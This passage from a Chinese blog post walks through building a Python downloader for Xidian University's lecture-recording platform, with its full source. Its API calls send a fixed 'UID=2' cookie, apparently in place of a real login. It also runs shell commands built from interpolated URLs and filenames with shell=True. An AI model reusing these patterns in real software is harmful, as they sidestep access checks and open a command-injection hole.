class=\"language-python\"\u003einput(\u0026#34;按回车退出...\u0026#34;)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e因为添加了 FFmpeg 这个庞然大物,打包之后的 exe 文件有好几十 MB,这可太大了。但是 \u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 需要 FFmpeg,执行的时候会检测 FFmpeg 是否存在,不存在就不能正常用了。我还尝试把 FFmpeg 从 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/BtbN/FFmpeg-Builds/releases\"\u003eBtbN\u003c/a\u003e 编译的版本换成了 \u003ca rel=\"noopener noreferrer\" href=\"https://www.gyan.dev/ffmpeg/builds/\"\u003egyan.dev\u003c/a\u003e 编译的 essentials 版本,但是打包体积也就稍微小了一点,准确来说是从 58.5 MB 减小到了 43.9 MB,至少是个进步吧。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e然后我又转念一想,这不对劲。我在 \u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 的命令行参数里指定了使用二进制合并模式,也就是把下载的分段 ts 文件直接按照二进制编码拼接起来,理论上没有用到 \u003ccode\u003eFFmpeg\u003c/code\u003e 重新封装。于是我想出了一个神奇的糊弄方案:我用 c 写了个什么用都没有的程序,编译成 \u003ccode\u003eexe\u003c/code\u003e 文件,改名成 \u003ccode\u003eFFmpeg.exe\u003c/code\u003e 放到文件夹里。这样 \u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 就能检测到 \u003ccode\u003eFFmpeg\u003c/code\u003e 了,但是实际上并没有用到 \u003ccode\u003eFFmpeg\u003c/code\u003e。这个程序的代码如下:\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看什么用都没有的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-c\"\u003eint main() {\n return 0;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e没用的代码你也看?😠\u003c/p\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e什么用都没有的 \u003ccode\u003eFFmpeg.exe\u003c/code\u003e 编译出来是 15 KB,换上去 \u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 确实能正常运行。但我还是不满意。然后我突然想到可以用 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/upx/upx\"\u003e\u003ccode\u003eUPX\u003c/code\u003e\u003c/a\u003e 压缩 \u003ccode\u003eexe\u003c/code\u003e。结果是 8 KB。嗯,满意了。替换掉原来的 \u003ccode\u003eFFmpeg.exe\u003c/code\u003e,打包之后的 \u003ccode\u003eexe\u003c/code\u003e 从 43.9 MB 减小到了 14.4 MB。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看使用 UPX 压缩的命令\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-shell\"\u003eupx --ultra-brute ffmpeg.exe\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 调用 FFmpeg 的时候如果 FFmpeg 不在 \u003ccode\u003ePath\u003c/code\u003e 中会找不到。但它也提供了一个命令行参数 \u003ccode\u003e--ffmpeg-binary-path \u0026lt;PATH\u0026gt;\u003c/code\u003e 来指定 FFmpeg 的路径。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看添加 FFmpeg 路径参数的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef resource_path(relative_path):\n base_path = getattr(sys, \u0026#39;_MEIPASS\u0026#39;, os.path.dirname(os.path.abspath(__file__)))\n return os.path.join(base_path, relative_path)\n\ndef download_m3u8(url, filename, save_dir, command=\u0026#39;\u0026#39;):\n n_m3u8dl_re_path = resource_path(\u0026#39;N_m3u8DL-RE.exe\u0026#39;)\n ffmpeg_path = resource_path(\u0026#39;ffmpeg.exe\u0026#39;)\n\n if not command:\n command = f\u0026#39;./{n_m3u8dl_re_path} \u0026#34;{url}\u0026#34; --save-dir \u0026#34;{save_dir}\u0026#34; --save-name \u0026#34;{filename}\u0026#34; --check-segments-count False --binary-merge True --ffmpeg-binary-path \u0026#34;{ffmpeg_path}\u0026#34;\u0026#39;\n else:\n command = command.format(url=url, filename=filename, save_dir=save_dir, ffmpeg_path=ffmpeg_path)\n......\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这时候群友向我推荐了另一个 m3u8 下载器 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/clitic/vsd\"\u003evsd\u003c/a\u003e。它是用 \u003ccode\u003eRust\u003c/code\u003e 写的 \u003cdel\u003e(我超,原!)\u003c/del\u003e 。它的二进制合并模式不需要 FFmpeg。我试了一下,感觉体验不错,于是换成了这个。它的二进制文件比 \u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 大一点,但是我发现它没有经过压缩,于是用 \u003ccode\u003eUPX\u003c/code\u003e 压缩了一下,体积从 13.3 MB 减小到了 3.5 MB,打包体积 11.9 MB。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看使用 vsd 下载视频的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003ecommand = f\u0026#39;vsd-upx.exe save {url} -o {save_dir}\\{filename} --retry-count 32 -t 16\u0026#39;\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e换成 \u003ccode\u003evsd\u003c/code\u003e 之后,有一个功能也可以实现了,那就是下载视频之后自动合并上下半节课。录直播平台的视频是上下半节课分开的,但这两段视频在时间上是连续的,合并在一起更方便看,也方便整理。于是使用 \u003ccode\u003evsd\u003c/code\u003e 的 \u003ccode\u003emerge\u003c/code\u003e 参数实现了这个功能。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看合并视频的函数(因为这个功能可以开关所以代码里到处都改了一点点,就不全部放上来了)\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef merge_videos(files, output_file):\n if sys.platform.startswith(\u0026#39;win32\u0026#39;):\n command = f\u0026#39;vsd-upx.exe merge -o {output_file} {\u0026#34; \u0026#34;.join(files)}\u0026#39;\n else:\n command = f\u0026#39;./vsd-upx merge -o {output_file} {\u0026#34; \u0026#34;.join(files)}\u0026#39;\n\n try:\n subprocess.run(command, shell=True, check=True)\n print(f\u0026#34;合并完成:{output_file}\u0026#34;)\n for file in files:\n os.remove(file)\n except subprocess.CalledProcessError:\n print(f\u0026#34;合并 {output_file} 失败:\\n{traceback.format_exc()}\u0026#34;)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e添加合并视频功能涉及到了一大堆逻辑改动。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e命名的时候,比如合并前文件名是 \u003ccode\u003exxx第5节xxx\u003c/code\u003e 和 \u003ccode\u003exxx第6节xxx\u003c/code\u003e,合并后的文件名就叫作 \u003ccode\u003exxx第5-6节xxx\u003c/code\u003e,文件名的其他部分保持不变。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e合并的时候考虑到有些时候数据源会丢失几条视频数据,要正确处理视频链接或者视频文件不存在的错误,如果无法下载上下两个半节课或者其中一个半节课就跳过合并。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在判断视频是否存在的逻辑中加入检查合并了的文件,也就是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e如果上下半节合并的视频存在就跳过下载上下半节课\u003c/li\u003e\n\u003cli\u003e如果上下半节没有合并的两个视频都存在就尝试合并\u003c/li\u003e\n\u003cli\u003e如果只存在其中半节就尝试下载另外半节并且如果下载成功就尝试合并\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e合并成功后删除合并前的单个视频文件。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个合并视频的功能作为可选项在交互式操作和命令行使用中都提供,默认合并。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e选择不合并的命令行参数为 \u003ccode\u003e--no-merge\u003c/code\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e不合并的话上面描述的逻辑都不生效,效果和之前的代码保持相同。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在交互模式中,如果选择只下载半节课视频,就不询问是否合并,也不执行合并功能。\u003c/p\u003e\n\u003cdetails\u003e\n\u003csummary\u003e展开查看修改后的 main 函数,这简直是一大坨,希望逻辑上没出错\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef main(liveid=None, command=\u0026#39;\u0026#39;, single=0, merge=True):\n if not liveid:\n liveid = int(user_input_with_check(\n \u0026#34;请输入 liveId:\u0026#34;,\n lambda liveid: liveid.isdigit() and len(liveid) \u0026lt;= 10\n ))\n\n single = user_input_with_check(\n \u0026#34;是否仅下载单节课视频?输入 y 下载单节课,n 下载这门课所有视频,s 则仅下载单集(半节课)视频,直接回车默认单节课 (Y/n/s):\u0026#34;,\n lambda single: single.lower() in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;, \u0026#39;n\u0026#39;, \u0026#39;s\u0026#39;]\n ).lower()\n if single in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;]:\n single = 1\n elif single == \u0026#39;s\u0026#39;:\n single = 2\n else:\n single = 0\n\n if single != 2:\n merge = user_input_with_check(\n \u0026#34;是否自动合并上下半节课视频?输入 y 合并,n 不合并,直接回车默认合并 (Y/n):\u0026#34;,\n lambda merge: merge.lower() in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;, \u0026#39;n\u0026#39;]\n ).lower() != \u0026#39;n\u0026#39;\n else:\n if single \u0026gt; 2:\n single = 2\n\n data = get_initial_data(liveid)\n\n if not data:\n print(\u0026#34;没有找到数据,请检查 liveId 是否正确。\u0026#34;)\n return\n\n if single:\n matching_entry = next(\n filter(lambda entry: entry[\u0026#34;id\u0026#34;] == liveid, data))\n\n if not matching_entry:\n raise ValueError(\u0026#34;No matching entry found for the specified liveId\u0026#34;)\n\n if single == 1:\n start_time = matching_entry[\u0026#34;startTime\u0026#34;]\n data = list(filter(\n lambda entry: entry[\u0026#34;startTime\u0026#34;][\u0026#34;date\u0026#34;] == start_time[\u0026#34;date\u0026#34;] and\n entry[\u0026#34;startTime\u0026#34;][\u0026#34;month\u0026#34;] == start_time[\u0026#34;month\u0026#34;],\n data))\n else:\n data = [matching_entry]\n\n first_entry = data[0]\n start_time = first_entry[\u0026#34;startTime\u0026#34;][\u0026#34;time\u0026#34;]\n course_code = first_entry[\u0026#34;courseCode\u0026#34;]\n course_name = first_entry[\u0026#34;courseName\u0026#34;]\n\n start_time_unix = start_time / 1000\n start_time_struct = time.gmtime(start_time_unix)\n year = start_time_struct.tm_year\n\n save_dir = f\u0026#34;{year}年{course_code}{course_name}\u0026#34;\n os.makedirs(save_dir, exist_ok=True)\n\n csv_filename = f\u0026#34;{year}年{course_code}{course_name}.csv\u0026#34;\n\n rows = []\n for entry in tqdm(data, desc=\u0026#34;获取视频链接\u0026#34;):\n live_id = entry[\u0026#34;id\u0026#34;]\n days = entry[\u0026#34;days\u0026#34;]\n day = entry[\u0026#34;startTime\u0026#34;][\u0026#34;day\u0026#34;]\n jie = entry[\u0026#34;jie\u0026#34;]\n\n start_time = entry[\u0026#34;startTime\u0026#34;][\u0026#34;time\u0026#34;]\n start_time_unix = start_time / 1000\n start_time_struct = time.gmtime(start_time_unix)\n month = start_time_struct.tm_mon\n date = start_time_struct.tm_mday\n\n ppt_video, teacher_track = get_m3u8_links(live_id)\n\n row = [month, date, day, jie, days, ppt_video, teacher_track]\n rows.append(row)\n\n with open(csv_filename, mode=\u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as file:\n writer = csv.writer(file)\n writer.writerow([\u0026#39;month\u0026#39;, \u0026#39;date\u0026#39;, \u0026#39;day\u0026#39;, \u0026#39;jie\u0026#39;, \u0026#39;days\u0026#39;, \u0026#39;pptVideo\u0026#39;, \u0026#39;teacherTrack\u0026#39;])\n writer.writerows(rows)\n\n print(f\u0026#34;{csv_filename} 文件已创建并写入数据。\u0026#34;)\n\n def process_rows(rows):\n for i in range(0, len(rows), 2):\n row1 = rows[i]\n month1, date1, day1, jie1, days1, ppt_video1, teacher_track1 = row1\n day_chinese1 = day_to_chinese(day1)\n\n row2 = rows[i + 1] if i + 1 \u0026lt; len(rows) else None\n if row2:\n month2, date2, day2, jie2, days2, ppt_video2, teacher_track2 = row2\n day_chinese2 = day_to_chinese(day2)\n\n ppt_video_files = []\n if ppt_video1:\n filename1 = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-pptVideo.ts\u0026#34;\n filepath1 = os.path.join(save_dir, filename1)\n if not os.path.exists(filepath1):\n download_m3u8(ppt_video1, filename1, save_dir, command=command)\n ppt_video_files.append(filepath1)\n\n if ppt_video2:\n filename2 = f\u0026#34;{course_code}{course_name}{year}年{month2}月{date2}日第{days2}周星期{day_chinese2}第{jie2}节-pptVideo.ts\u0026#34;\n filepath2 = os.path.join(save_dir, filename2)\n if not os.path.exists(filepath2):\n download_m3u8(ppt_video2, filename2, save_dir, command=command)\n ppt_video_files.append(filepath2)\n\n if len(ppt_video_files) == 2 and merge:\n ppt_merged_filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}-{jie2}节-pptVideo.ts\u0026#34;\n ppt_merged_filepath = os.path.join(save_dir, ppt_merged_filename)\n merge_videos(ppt_video_files, ppt_merged_filepath)\n\n teacher_track_files = []\n if teacher_track1:\n filename1 = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-teacherTrack.ts\u0026#34;\n filepath1 = os.path.join(save_dir, filename1)\n if not os.path.exists(filepath1):\n download_m3u8(teacher_track1, filename1, save_dir, command=command)\n teacher_track_files.append(filepath1)\n\n if teacher_track2:\n filename2 = f\u0026#34;{course_code}{course_name}{year}年{month2}月{date2}日第{days2}周星期{day_chinese2}第{jie2}节-teacherTrack.ts\u0026#34;\n filepath2 = os.path.join(save_dir, filename2)\n if not os.path.exists(filepath2):\n download_m3u8(teacher_track2, filename2, save_dir, command=command)\n teacher_track_files.append(filepath2)\n\n if len(teacher_track_files) == 2 and merge:\n teacher_merged_filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}-{jie2}节-teacherTrack.ts\u0026#34;\n teacher_merged_filepath = os.path.join(save_dir, teacher_merged_filename)\n merge_videos(teacher_track_files, teacher_merged_filepath)\n\n if single == 1:\n process_rows(rows[:2])\n elif single == 2:\n row = rows[0]\n month, date, day, jie, days, ppt_video, teacher_track = row\n day_chinese = day_to_chinese(day)\n\n if ppt_video:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-pptVideo.ts\u0026#34;\n filepath = os.path.join(save_dir, filename)\n if not os.path.exists(filepath):\n download_m3u8(ppt_video, filename, save_dir, command=command)\n\n if teacher_track:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-teacherTrack.ts\u0026#34;\n filepath = os.path.join(save_dir, filename)\n if not os.path.exists(filepath):\n download_m3u8(teacher_track, filename, save_dir, command=command)\n\n else:\n process_rows(rows)\n\n print(\u0026#34;所有视频下载和处理完成。\u0026#34;)\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/details\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e几百行代码好长,我小小的脑子要看不过来了,于是我把代码拆分成了几个文件,分别是 \u003ccode\u003eXDUClassVideoDownloader.py\u003c/code\u003e、\u003ccode\u003edownloader.py\u003c/code\u003e、\u003ccode\u003eapi.py\u003c/code\u003e、\u003ccode\u003eutils.py\u003c/code\u003e。这样代码结构更清晰,也方便维护。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003eXDUClassVideoDownloader.py:主程序,用户交互和命令行参数解析\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e#!/usr/bin/env python3\n\nimport os\nimport csv\nimport time\nfrom argparse import ArgumentParser\nfrom tqdm import tqdm\nimport traceback\nfrom utils import day_to_chinese, user_input_with_check, create_directory\nfrom downloader import download_m3u8, merge_videos\nfrom api import get_initial_data, get_m3u8_links\n\ndef main(liveid=None, command=\u0026#39;\u0026#39;, single=0, merge=True):\n if liveid and not isinstance(liveid, int):\n liveid = int(liveid)\n elif not liveid:\n liveid = int(user_input_with_check(\n \u0026#34;请输入 liveId:\u0026#34;,\n lambda liveid: liveid.isdigit() and len(liveid) \u0026lt;= 10\n ))\n\n single = user_input_with_check(\n \u0026#34;是否仅下载单节课视频?输入 y 下载单节课,n 下载这门课所有视频,s 则仅下载单集(半节课)视频,直接回车默认单节课 (Y/n/s):\u0026#34;,\n lambda single: single.lower() in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;, \u0026#39;n\u0026#39;, \u0026#39;s\u0026#39;]\n ).lower()\n if single in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;]:\n single = 1\n elif single == \u0026#39;s\u0026#39;:\n single = 2\n else:\n single = 0\n\n if single != 2:\n merge = user_input_with_check(\n \u0026#34;是否自动合并上下半节课视频?输入 y 合并,n 不合并,直接回车默认合并 (Y/n):\u0026#34;,\n lambda merge: merge.lower() in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;, \u0026#39;n\u0026#39;]\n ).lower() != \u0026#39;n\u0026#39;\n else:\n if single \u0026gt; 2:\n single = 2\n\n data = get_initial_data(liveid)\n\n if not data:\n print(\u0026#34;没有找到数据,请检查 liveId 是否正确。\u0026#34;)\n return\n\n if single:\n matching_entry = next(\n filter(lambda entry: entry[\u0026#34;id\u0026#34;] == liveid, data))\n\n if not matching_entry:\n raise ValueError(\u0026#34;No matching entry found for the specified liveId\u0026#34;)\n\n if single == 1:\n start_time = matching_entry[\u0026#34;startTime\u0026#34;]\n data = list(filter(\n lambda entry: entry[\u0026#34;startTime\u0026#34;][\u0026#34;date\u0026#34;] == start_time[\u0026#34;date\u0026#34;] and\n entry[\u0026#34;startTime\u0026#34;][\u0026#34;month\u0026#34;] == start_time[\u0026#34;month\u0026#34;],\n data))\n else:\n data = [matching_entry]\n\n first_entry = data[0]\n start_time = first_entry[\u0026#34;startTime\u0026#34;][\u0026#34;time\u0026#34;]\n course_code = first_entry[\u0026#34;courseCode\u0026#34;]\n course_name = first_entry[\u0026#34;courseName\u0026#34;]\n\n start_time_unix = start_time / 1000\n start_time_struct = time.gmtime(start_time_unix)\n year = start_time_struct.tm_year\n\n save_dir = f\u0026#34;{year}年{course_code}{course_name}\u0026#34;\n create_directory(save_dir)\n\n csv_filename = f\u0026#34;{year}年{course_code}{course_name}.csv\u0026#34;\n\n rows = []\n for entry in tqdm(data, desc=\u0026#34;获取视频链接\u0026#34;):\n live_id = entry[\u0026#34;id\u0026#34;]\n days = entry[\u0026#34;days\u0026#34;]\n day = entry[\u0026#34;startTime\u0026#34;][\u0026#34;day\u0026#34;]\n jie = entry[\u0026#34;jie\u0026#34;]\n\n start_time = entry[\u0026#34;startTime\u0026#34;][\u0026#34;time\u0026#34;]\n start_time_unix = start_time / 1000\n start_time_struct = time.gmtime(start_time_unix)\n month = start_time_struct.tm_mon\n date = start_time_struct.tm_mday\n\n ppt_video, teacher_track = get_m3u8_links(live_id)\n\n row = [month, date, day, jie, days, ppt_video, teacher_track]\n rows.append(row)\n\n with open(csv_filename, mode=\u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as file:\n writer = csv.writer(file)\n writer.writerow([\u0026#39;month\u0026#39;, \u0026#39;date\u0026#39;, \u0026#39;day\u0026#39;, \u0026#39;jie\u0026#39;, \u0026#39;days\u0026#39;, \u0026#39;pptVideo\u0026#39;, \u0026#39;teacherTrack\u0026#39;])\n writer.writerows(rows)\n\n print(f\u0026#34;{csv_filename} 文件已创建并写入数据。\u0026#34;)\n\n def process_rows(rows):\n for i in range(0, len(rows), 2):\n row1 = rows[i]\n month1, date1, day1, jie1, days1, ppt_video1, teacher_track1 = row1\n day_chinese1 = day_to_chinese(day1)\n\n row2 = rows[i + 1] if i + 1 \u0026lt; len(rows) else None\n if row2:\n month2, date2, day2, jie2, days2, ppt_video2, teacher_track2 = row2\n day_chinese2 = day_to_chinese(day2)\n\n ppt_video_files = []\n if ppt_video1:\n filename1 = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-pptVideo.ts\u0026#34;\n filepath1 = os.path.join(save_dir, filename1)\n if not os.path.exists(filepath1):\n download_m3u8(ppt_video1, filename1, save_dir, command=command)\n ppt_video_files.append(filepath1)\n\n if ppt_video2:\n filename2 = f\u0026#34;{course_code}{course_name}{year}年{month2}月{date2}日第{days2}周星期{day_chinese2}第{jie2}节-pptVideo.ts\u0026#34;\n filepath2 = os.path.join(save_dir, filename2)\n if not os.path.exists(filepath2):\n download_m3u8(ppt_video2, filename2, save_dir, command=command)\n ppt_video_files.append(filepath2)\n\n if len(ppt_video_files) == 2 and merge:\n ppt_merged_filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}-{jie2}节-pptVideo.ts\u0026#34;\n ppt_merged_filepath = os.path.join(save_dir, ppt_merged_filename)\n merge_videos(ppt_video_files, ppt_merged_filepath)\n\n teacher_track_files = []\n if teacher_track1:\n filename1 = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-teacherTrack.ts\u0026#34;\n filepath1 = os.path.join(save_dir, filename1)\n if not os.path.exists(filepath1):\n download_m3u8(teacher_track1, filename1, save_dir, command=command)\n teacher_track_files.append(filepath1)\n\n if teacher_track2:\n filename2 = f\u0026#34;{course_code}{course_name}{year}年{month2}月{date2}日第{days2}周星期{day_chinese2}第{jie2}节-teacherTrack.ts\u0026#34;\n filepath2 = os.path.join(save_dir, filename2)\n if not os.path.exists(filepath2):\n download_m3u8(teacher_track2, filename2, save_dir, command=command)\n teacher_track_files.append(filepath2)\n\n if len(teacher_track_files) == 2 and merge:\n teacher_merged_filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}-{jie2}节-teacherTrack.ts\u0026#34;\n teacher_merged_filepath = os.path.join(save_dir, teacher_merged_filename)\n merge_videos(teacher_track_files, teacher_merged_filepath)\n\n if single == 1:\n process_rows(rows[:2])\n elif single == 2:\n row = rows[0]\n month, date, day, jie, days, ppt_video, teacher_track = row\n day_chinese = day_to_chinese(day)\n\n if ppt_video:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-pptVideo.ts\u0026#34;\n filepath = os.path.join(save_dir, filename)\n if not os.path.exists(filepath):\n download_m3u8(ppt_video, filename, save_dir, command=command)\n\n if teacher_track:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-teacherTrack.ts\u0026#34;\n filepath = os.path.join(save_dir, filename)\n if not os.path.exists(filepath):\n download_m3u8(teacher_track, filename, save_dir, command=command)\n\n else:\n process_rows(rows)\n\n print(\u0026#34;所有视频下载和处理完成。\u0026#34;)\n\ndef parse_arguments():\n parser = ArgumentParser(description=\u0026#34;用于下载西安电子科技大学录直播平台课程视频的工具\u0026#34;)\n parser.add_argument(\u0026#39;liveid\u0026#39;, nargs=\u0026#39;?\u0026#39;, default=None, help=\u0026#34;课程的 liveId,不输入则采用交互式方式获取\u0026#34;)\n parser.add_argument(\u0026#39;-c\u0026#39;, \u0026#39;--command\u0026#39;, default=\u0026#39;\u0026#39;, help=\u0026#34;自定义下载命令,使用 {url}, {save_dir}, {filename} 作为替换标记\u0026#34;)\n parser.add_argument(\u0026#39;-s\u0026#39;, \u0026#39;--single\u0026#39;, action=\u0026#39;count\u0026#39;, default=0, help=\u0026#34;仅下载单节课视频(-s:单节课视频,-ss:半节课视频)\u0026#34;)\n parser.add_argument(\u0026#39;--no-merge\u0026#39;, action=\u0026#39;store_false\u0026#39;, help=\u0026#34;不合并上下半节课视频\u0026#34;)\n\n return parser.parse_args()\n\nif __name__ == \u0026#34;__main__\u0026#34;:\n args = parse_arguments()\n try:\n main(liveid=args.liveid, command=args.command, single=args.single, merge=args.no_merge)\n except Exception as e:\n print(f\u0026#34;发生错误:{e}\u0026#34;)\n print(traceback.format_exc())\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n \u003cdetails\u003e\n \u003csummary\u003edownloader.py:下载视频和合并视频的函数\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e#!/usr/bin/env python3\n\nimport subprocess\nimport sys\nimport os\nimport traceback\n\ndef download_m3u8(url, filename, save_dir, command=\u0026#39;\u0026#39;):\n if not command:\n if sys.platform.startswith(\u0026#39;win32\u0026#39;):\n command = f\u0026#39;vsd-upx.exe save {url} -o {save_dir}\\{filename} --retry-count 32 -t 16\u0026#39;\n else:\n command = f\u0026#39;./vsd-upx save {url} -o {save_dir}/{filename} --retry-count 32 -t 16\u0026#39;\n else:\n command = command.format(url=url, filename=filename, save_dir=save_dir)\n\n MAX_ATTEMPTS = 2\n\n for attempt in range(MAX_ATTEMPTS):\n try:\n subprocess.run(command, shell=True, check=True)\n break\n except subprocess.CalledProcessError:\n print(f\u0026#34;第 {attempt+1} 次下载 {filename} 出错:\\n{traceback.format_exc()}\\n重试中...\u0026#34;)\n if attempt == MAX_ATTEMPTS - 1:\n print(f\u0026#34;下载 {filename} 失败。\u0026#34;)\n\ndef merge_videos(files, output_file):\n if sys.platform.startswith(\u0026#39;win32\u0026#39;):\n command = f\u0026#39;vsd-upx.exe merge -o {output_file} {\u0026#34; \u0026#34;.join(files)}\u0026#39;\n else:\n command = f\u0026#39;./vsd-upx merge -o {output_file} {\u0026#34; \u0026#34;.join(files)}\u0026#39;\n\n try:\n subprocess.run(command, shell=True, check=True)\n print(f\u0026#34;合并完成:{output_file}\u0026#34;)\n for file in files:\n os.remove(file)\n except subprocess.CalledProcessError:\n print(f\u0026#34;合并 {output_file} 失败:\\n{traceback.format_exc()}\u0026#34;)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n \u003cdetails\u003e\n \u003csummary\u003eapi.py:获取课程数据和 m3u8 链接的函数\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e#!/usr/bin/env python3\n\nimport requests\nimport urllib.parse\nimport json\n\ndef get_initial_data(liveid):\n url = \u0026#34;http://newesxidian.chaoxing.com/live/listSignleCourse\u0026#34;\n headers = {\n \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0\u0026#34;,\n \u0026#34;Cookie\u0026#34;: \u0026#34;UID=2\u0026#34;\n }\n data = {\n \u0026#34;liveId\u0026#34;: liveid\n }\n\n response = requests.post(url, headers=headers, data=data)\n response.raise_for_status()\n return response.json()\n\ndef get_m3u8_links(live_id):\n url = f\u0026#34;http://newesxidian.chaoxing.com/live/getViewUrlHls?liveId={live_id}\u0026amp;status=2\u0026#34;\n headers = {\n \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0\u0026#34;,\n \u0026#34;Cookie\u0026#34;: \u0026#34;UID=2\u0026#34;\n }\n\n response = requests.get(url, headers=headers)\n response.raise_for_status()\n response_text = response.text\n\n url_start = response_text.find(\u0026#39;info=\u0026#39;)\n if url_start == -1:\n raise ValueError(\u0026#34;info parameter not found in the response\u0026#34;)\n\n encoded_info = response_text[url_start + 5:]\n decoded_info = urllib.parse.unquote(encoded_info)\n info_json = json.loads(decoded_info)\n\n video_paths = info_json.get(\u0026#39;videoPath\u0026#39;, {})\n ppt_video = video_paths.get(\u0026#39;pptVideo\u0026#39;, \u0026#39;\u0026#39;)\n teacher_track = video_paths.get(\u0026#39;teacherTrack\u0026#39;, \u0026#39;\u0026#39;)\n\n return ppt_video, teacher_track\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n \u003cdetails\u003e\n \u003csummary\u003eutils.py:一些工具函数,包含日期汉字转换、输入数据检查、目录创建\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e#!/usr/bin/env python3\n\nimport os\n\ndef day_to_chinese(day):\n days = [\u0026#34;日\u0026#34;, \u0026#34;一\u0026#34;, \u0026#34;二\u0026#34;, \u0026#34;三\u0026#34;, \u0026#34;四\u0026#34;, \u0026#34;五\u0026#34;, \u0026#34;六\u0026#34;]\n return days[day]\n\ndef user_input_with_check(prompt, check_func):\n while True:\n user_input = input(prompt)\n if check_func(user_input):\n return user_input\n else:\n print(\u0026#34;输入错误,请重新输入:\u0026#34;)\n\ndef create_directory(directory):\n os.makedirs(directory, exist_ok=True)\n\u003c/code\u003e\u003c/pre\u003e\n 